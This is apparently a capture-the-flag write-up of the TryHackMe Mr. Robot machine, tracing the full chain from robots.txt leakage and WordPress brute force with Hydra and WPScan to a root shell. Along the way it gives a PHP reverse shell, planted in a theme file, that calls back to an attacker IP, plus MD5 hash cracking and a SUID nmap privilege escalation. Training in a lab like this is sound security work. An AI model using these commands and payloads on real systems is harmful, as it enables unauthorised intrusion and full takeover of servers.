← Writeups
MediumLinuxHackTheBox

Mr. Robot CTF: TryHackMe Writeup (Linux, Medium)

TryHackMe Mr. Robot CTF: three flags hidden across a WordPress machine. Covers robots.txt disclosure, WordPress brute-force with a custom wordlist, reverse shell via theme editor, MD5 hash cracking, and root via SUID nmap interactive mode.

2025-11-10

// Attack Chain

robots.txt → Key 1 + fsocity.dic → Hydra username enum + WPScan brute-force → elliot → Theme Editor RCE → daemon → MD5 crack → robot (Key 2) → SUID nmap --interactive → Root (Key 3)

Attack Chain Overview

CODE
Nmap → ports 80/443 (Apache + WordPress)
        ↓
robots.txt → Key 1 + fsocity.dic wordlist
        ↓
Hydra + WPScan → brute force WordPress credentials (elliot)
        ↓
WordPress Theme Editor → PHP reverse shell in archive.php
        ↓
Shell as daemon → /home/robot/password.raw-md5
        ↓
Crack MD5 → su robot → Key 2
        ↓
SUID nmap --interactive → !sh → root
        ↓
Key 3 in /root/

Phase 1: Reconnaissance

Nmap Scan

BASH
nmap -sV -sC --min-rate 100 10.10.66.127
CODE
PORT    STATE   SERVICE  VERSION
22/tcp  closed  ssh
80/tcp  open    http     Apache httpd
443/tcp open    ssl/http Apache httpd

Key observations:

Web Directory Enumeration

BASH
dirb http://10.10.66.127
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.66.127

Notable paths discovered: /wp-login, /wp-admin, /dashboard, /robots.txt. The presence of /wp-login immediately identifies this as a WordPress installation.

robots.txt: Key 1 + Wordlist

Navigating to http://10.10.66.127/robots.txt:

CODE
User-agent: *
fsocity.dic
key-1-of-3.txt

Why check robots.txt? It's a file that tells web crawlers which paths to avoid indexing. Developers sometimes accidentally list sensitive paths here. In this case, it exposed both the first flag and a custom wordlist fsocity.dic, a dictionary file themed around the Mr Robot show.

BASH
# Download the wordlist
wget http://10.10.66.127/fsocity.dic

# Check its size: likely has duplicates
wc -l fsocity.dic

🏁 Key 1 found at http://10.10.66.127/key-1-of-3.txt


Phase 2: WordPress Credential Brute Force

Username Enumeration with Hydra

WordPress leaks whether a username is valid through different error messages:

This makes username enumeration trivial with Hydra:

BASH
hydra -L fsocity.dic -p test123 10.10.66.127 \
  http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username" -V

Result: Username is Elliot (a character from the Mr Robot show).

Why this works: The -L flag feeds the wordlist as usernames while -p keeps the password fixed at a dummy value. We're not trying to find the password here, just confirm which username triggers the different error message.

Password Brute Force

The fsocity.dic file has many duplicates which would slow down the brute force. Sort and deduplicate first:

BASH
sort -f fsocity.dic | uniq -i > sort.txt
wc -l sort.txt   # much smaller now

Why deduplication matters: If fsocity.dic has 858,000 lines but only 11,000 unique entries, brute forcing with the original file wastes 98% of requests. Always deduplicate wordlists before brute forcing.

Now use WPScan, purpose-built for WordPress and handles rate limiting and WordPress-specific auth better than Hydra:

BASH
wpscan --url http://10.10.66.127 -t 50 -U elliot -P sort.txt

Credentials found:

CODE
Username: elliot
Password: ER28-0652

Phase 3: Initial Access via WordPress Theme Editor

Login to WordPress Dashboard

Navigate to http://10.10.66.127/wp-login and log in as elliot.

Inject Reverse Shell via Theme Editor

Navigate to: Appearance → Editor → archive.php

Why archive.php? WordPress theme PHP files are served directly by the web server. If you can edit a theme file and inject PHP code, triggering that file via the browser executes your code as the web server user (daemon). archive.php is a good target because it's rarely used and easy to trigger by visiting a non-existent archive URL.

Replace the entire contents of archive.php with a PHP reverse shell (generate one from revshells.com using the PHP fsockopen method):

PHP
<?php
set_time_limit(0);
$ip = 'YOUR_IP';
$port = 4444;
$sock = fsockopen($ip, $port);
$proc = proc_open('sh', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>

Save the file, start a listener, then trigger it:

BASH
# Listener on Kali
nc -lvnp 4444

# Trigger archive.php in browser or curl
curl http://10.10.66.127/?cat=1   # any archive URL triggers archive.php

Shell received as daemon.

Upgrade the Shell

BASH
python -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Phase 4: Lateral Movement to robot (Key 2)

Enumerate /home/robot

BASH
daemon@linux:/home$ ls
robot
daemon@linux:/home$ cd robot && ls -la
CODE
-r-------- 1 robot robot   33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot   39 Nov 13  2015 password.raw-md5

key-2-of-3.txt is only readable by robot, but password.raw-md5 is world-readable. This is the path to lateral movement.

BASH
daemon@linux:/home/robot$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

Crack the MD5 Hash

Why MD5 is weak: MD5 produces a 128-bit hash and has no salt, meaning the same password always produces the same hash. Rainbow tables and online lookup databases like CrackStation have pre-computed hashes for billions of common passwords. This hash cracks instantly.

Submit to crackstation.net:

Hash: c3fcd3d76192e4007dfb496cca67e13b

Cracked: abcdefghijklmnopqrstuvwxyz

Switch to robot and Get Key 2

BASH
daemon@linux:/home$ su robot
Password: abcdefghijklmnopqrstuvwxyz

robot@linux:~$ cat key-2-of-3.txt

🏁 Key 2 captured.


Phase 5: Privilege Escalation to Root via SUID Nmap (Key 3)

Check sudo and SUID Binaries

BASH
sudo -l   # prompts for password: robot can't use sudo
BASH
find / -perm -4000 -type f 2>/dev/null
CODE
/bin/ping
/bin/su
/usr/bin/passwd
/usr/bin/sudo
/usr/local/bin/nmap       ← NOT a default SUID binary ★
/usr/lib/openssh/ssh-keysign

Why SUID matters: The SUID (Set User ID) bit means the binary runs as its owner (often root) regardless of who executes it. If a SUID binary can be abused to spawn a shell or execute arbitrary commands, you get those commands running as root.

Why nmap SUID is suspicious: nmap has no legitimate reason to be SUID root. It's a non-default configuration, and it's a well-known GTFOBins entry.

Check Nmap Version

BASH
nmap --version
CODE
nmap version 3.81

Why the version matters: Nmap 3.81 is ancient (2005). Old versions of nmap had an --interactive mode that allowed running shell commands from within the nmap prompt. This feature was removed in newer versions precisely because it was a security risk. With SUID set, this becomes an instant root escalation.

Exploit via Interactive Mode

BASH
robot@linux:~$ nmap --interactive

Starting nmap V. 3.81
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
# whoami
root

Why !sh works: The ! prefix in nmap's interactive mode passes the command to /bin/sh. Since nmap is running as root (SUID), the shell spawned by !sh inherits root privileges.

Reference: GTFOBins, nmap

Get Key 3

BASH
# cd /root
# ls
key-3-of-3.txt
# cat key-3-of-3.txt

🏁 Key 3 captured. All three flags collected.


Key Commands Reference

BASH
# Recon
nmap -sV -sC --min-rate 100 10.10.66.127
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u http://10.10.66.127

# Key 1
curl http://10.10.66.127/robots.txt
wget http://10.10.66.127/fsocity.dic
curl http://10.10.66.127/key-1-of-3.txt

# Wordlist cleanup
sort -f fsocity.dic | uniq -i > sort.txt

# Username brute force
hydra -L fsocity.dic -p test123 10.10.66.127 \
  http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid username" -V

# Password brute force
wpscan --url http://10.10.66.127 -t 50 -U elliot -P sort.txt

# Listener
nc -lvnp 4444

# Shell upgrade
python -c 'import pty; pty.spawn("/bin/bash")'

# Switch to robot
su robot   # password: abcdefghijklmnopqrstuvwxyz

# SUID enumeration
find / -perm -4000 -type f 2>/dev/null

# Nmap SUID escalation
nmap --interactive
# then: !sh

Lessons Learned

What Worked Well

What to Do Faster Next Time

Detection & Defense

How to detect this attack:

How to prevent it:


Technique Summary

StepTechniqueWhy It Worked
Key 1robots.txt disclosureDeveloper accidentally exposed flag path and wordlist
Username enumWordPress error message differenceWP leaks valid usernames via distinct login errors
Password crackHydra + WPScan brute forceCustom wordlist contained the actual password
RCEWordPress Theme EditorAdmin users can edit PHP files which execute server-side
Key 2MD5 hash crackUnsalted MD5 cracked instantly via rainbow table lookup
RootSUID nmap --interactiveAncient nmap version with interactive shell mode set SUID root
← Back to writeups